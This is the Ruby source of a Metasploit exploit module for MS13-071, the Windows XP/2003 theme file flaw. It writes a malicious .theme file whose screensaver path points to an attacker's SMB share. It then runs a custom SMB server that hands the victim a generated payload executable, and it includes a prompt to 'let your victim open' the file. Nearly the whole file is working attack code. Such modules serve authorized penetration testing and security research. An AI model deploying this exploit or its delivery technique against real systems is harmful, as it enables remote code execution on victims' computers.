metasploit-framework/modules/exploits/windows/fileformat/ms13_071_theme.rb

434 lines
16 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::SMBServer
def initialize(info={})
super(update_info(info,
'Name' => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution",
'Description' => %q{
This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows
2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]
section. An arbitrary path can be used as screen saver, including a remote SMB resource,
which allows for remote code execution when a malicious .theme file is opened, and the
"Screen Saver" tab is viewed. The code execution is also triggered if the victim installs
the malicious theme and stays away from the computer, when Windows tries to display the
screensaver.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Eduardo Prado', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2013-0810'],
['OSVDB', '97136'],
['MSB', 'MS13-071'],
['BID', '62176'],
['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=1040'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/25/change-the-theme-get-a-shell']
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'false'
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 / Windows 2003 SP2', {}],
],
'Privileged' => false,
'DisclosureDate' => "Sep 10 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
], self.class)
end
def exploit
if (datastore['UNCPATH'])
@unc = datastore['UNCPATH']
print_status("Remember to share the malicious EXE payload as #{@unc}")
else
print_status("Generating our malicious executable...")
@exe = generate_payload_exe
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
@share = rand_text_alpha(5 + rand(5))
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
end
print_status("Creating '#{datastore['FILENAME']}' file ...")
# Default Windows XP / 2003 theme modified
theme = <<-EOF
; Copyright (c) Microsoft Corp. 1995-2001
[Theme]
DisplayName=@themeui.dll,-2016
; My Computer
[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%explorer.exe,0
; My Documents
[CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0
; My Network Places
[CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17
; Recycle Bin
[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon]
full=%WinDir%SYSTEM32\\shell32.dll,32
empty=%WinDir%SYSTEM32\\shell32.dll,31
[Control Panel\\Desktop]
Wallpaper=
TileWallpaper=0
WallpaperStyle=2
Pattern=
ScreenSaveActive=0
[boot]
SCRNSAVE.EXE=#{@unc}
[MasterThemeSelector]
MTSM=DABJDKT
EOF
file_create(theme)
print_good("Let your victim open #{datastore['FILENAME']}")
if not datastore['UNCPATH']
print_status("Ready to deliver your payload on #{@unc}")
super
end
end
# TODO: these smb_* methods should be moved up to the SMBServer mixin
# development and test on progress
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
vprint_status("Received command #{cmd} from #{smb[:name]}")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
case cmd
when CONST::SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
wordcount = pkt['Payload']['SMB'].v['WordCount']
if wordcount == 0x0D # It's the case for Share Security Mode sessions
smb_cmd_session_setup(c, buff)
else
vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
when CONST::SMB_COM_TRANSACTION2
smb_cmd_trans(c, buff)
when CONST::SMB_COM_NT_CREATE_ANDX
smb_cmd_create(c, buff)
when CONST::SMB_COM_READ_ANDX
smb_cmd_read(c, buff)
else
vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
end
def smb_cmd_negotiate(c, buff)
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
dialect = dialects.index("NT LM 0.12") || dialects.length-1
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode
pkt['Payload'].v['MaxMPX'] = 50
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['SystemTimeLow'] = time_lo
pkt['Payload'].v['SystemTimeHigh'] = time_hi
pkt['Payload'].v['ServerTimeZone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['Capabilities'] = 0x80f3fd
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)
c.put(pkt.to_s)
end
def smb_cmd_session_setup(c, buff)
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 3
pkt['Payload'].v['AndX'] = 0x75
pkt['Payload'].v['Reserved1'] = 00
pkt['Payload'].v['AndXOffset'] = 96
pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest
pkt['Payload'].v['Payload'] =
Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature
tree_connect_response = ""
tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount
tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand
tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved
tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset
tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support
tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount
tree_connect_response << "A:\x00" # Service
tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters
# Fix the Netbios Session Service Message Length
# to have into account the tree_connect_response,
# need to do this because there isn't support for
# AndX still
my_pkt = pkt.to_s + tree_connect_response
original_length = my_pkt[2, 2].unpack("n").first
original_length = original_length + tree_connect_response.length
my_pkt[2, 2] = [original_length].pack("n")
c.put(my_pkt)
end
def smb_cmd_create(c, buff)
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt.from_s(buff)
if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 42
pkt['Payload'].v['AndX'] = 0xff # no further commands
pkt['Payload'].v['OpLock'] = 0x2
# No need to track fid here, we're just offering one file
pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0
pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened
pkt['Payload'].v['CreateTimeLow'] = @lo
pkt['Payload'].v['CreateTimeHigh'] = @hi
pkt['Payload'].v['AccessTimeLow'] = @lo
pkt['Payload'].v['AccessTimeHigh'] = @hi
pkt['Payload'].v['WriteTimeLow'] = @lo
pkt['Payload'].v['WriteTimeHigh'] = @hi
pkt['Payload'].v['ChangeTimeLow'] = @lo
pkt['Payload'].v['ChangeTimeHigh'] = @hi
pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file
pkt['Payload'].v['AllocLow'] = 0x100000
pkt['Payload'].v['AllocHigh'] = 0
pkt['Payload'].v['EOFLow'] = @exe.length
pkt['Payload'].v['EOFHigh'] = 0
pkt['Payload'].v['FileType'] = 0
pkt['Payload'].v['IPCState'] = 0x7
pkt['Payload'].v['IsDirectory'] = 0
c.put(pkt.to_s)
else
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
c.put(pkt.to_s)
end
end
def smb_cmd_read(c, buff)
pkt = CONST::SMB_READ_PKT.make_struct
pkt.from_s(buff)
offset = pkt['Payload'].v['Offset']
length = pkt['Payload'].v['MaxCountLow']
pkt = CONST::SMB_READ_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload'].v['AndX'] = 0xff # no more commands
pkt['Payload'].v['Remaining'] = 0xffff
pkt['Payload'].v['DataLenLow'] = length
pkt['Payload'].v['DataOffset'] = 59
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['Reserved3'] = 0
pkt['Payload'].v['Reserved4'] = 6
pkt['Payload'].v['ByteCount'] = length
pkt['Payload'].v['Payload'] = @exe[offset, length]
c.put(pkt.to_s)
end
def smb_cmd_trans(c, buff)
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
sub_command = pkt['Payload'].v['SetupData'].unpack("v").first
case sub_command
when 0x5 # QUERY_PATH_INFO
smb_cmd_trans_query_path_info(c, buff)
when 0x1 # FIND_FIRST2
smb_cmd_trans_find_first2(c, buff)
else
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND
c.put(pkt.to_s)
end
end
def smb_cmd_trans_query_path_info(c, buff)
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
if pkt['Payload'].v['SetupData'].length < 16
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
# return a Directory answer
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['ParamCountTotal'] = 2
pkt['Payload'].v['DataCountTotal'] = 40
pkt['Payload'].v['ParamCount'] = 2
pkt['Payload'].v['ParamOffset'] = 56
pkt['Payload'].v['DataCount'] = 40
pkt['Payload'].v['DataOffset'] = 60
pkt['Payload'].v['Payload'] =
"\x00" + # Padding
# QUERY_PATH_INFO Parameters
"\x00\x00" + # EA Error Offset
"\x00\x00" + # Padding
#QUERY_PATH_INFO Data
[@lo, @hi].pack("VV") + # Created
[@lo, @hi].pack("VV") + # Last Access
[@lo, @hi].pack("VV") + # Last Write
[@lo, @hi].pack("VV") + # Change
"\x10\x00\x00\x00" + # File attributes => directory
"\x00\x00\x00\x00" # Unknown
c.put(pkt.to_s)
else
# if QUERY_PATH_INFO_PARAMETERS includes a file name,
# returns an object name not found error
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
c.put(pkt.to_s)
end
end
def smb_cmd_trans_find_first2(c, buff)
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
file_name = Rex::Text.to_unicode(@scr_file)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['ParamCountTotal'] = 10
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length
pkt['Payload'].v['ParamCount'] = 10
pkt['Payload'].v['ParamOffset'] = 56
pkt['Payload'].v['DataCount'] = 94 + file_name.length
pkt['Payload'].v['DataOffset'] = 68
pkt['Payload'].v['Payload'] =
"\x00" + # Padding
# FIND_FIRST2 Parameters
"\xfd\xff" + # Search ID
"\x01\x00" + # Search count
"\x01\x00" + # End Of Search
"\x00\x00" + # EA Error Offset
"\x00\x00" + # Last Name Offset
"\x00\x00" + # Padding
#QUERY_PATH_INFO Data
[94 + file_name.length].pack("V") + # Next Entry Offset
"\x00\x00\x00\x00" + # File Index
[@lo, @hi].pack("VV") + # Created
[@lo, @hi].pack("VV") + # Last Access
[@lo, @hi].pack("VV") + # Last Write
[@lo, @hi].pack("VV") + # Change
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size
"\x80\x00\x00\x00" + # File attributes => directory
[file_name.length].pack("V") + # File name len
"\x00\x00\x00\x00" + # EA List Lenght
"\x00" + # Short file lenght
"\x00" + # Reserved
("\x00" * 24) +
file_name
c.put(pkt.to_s)
end
end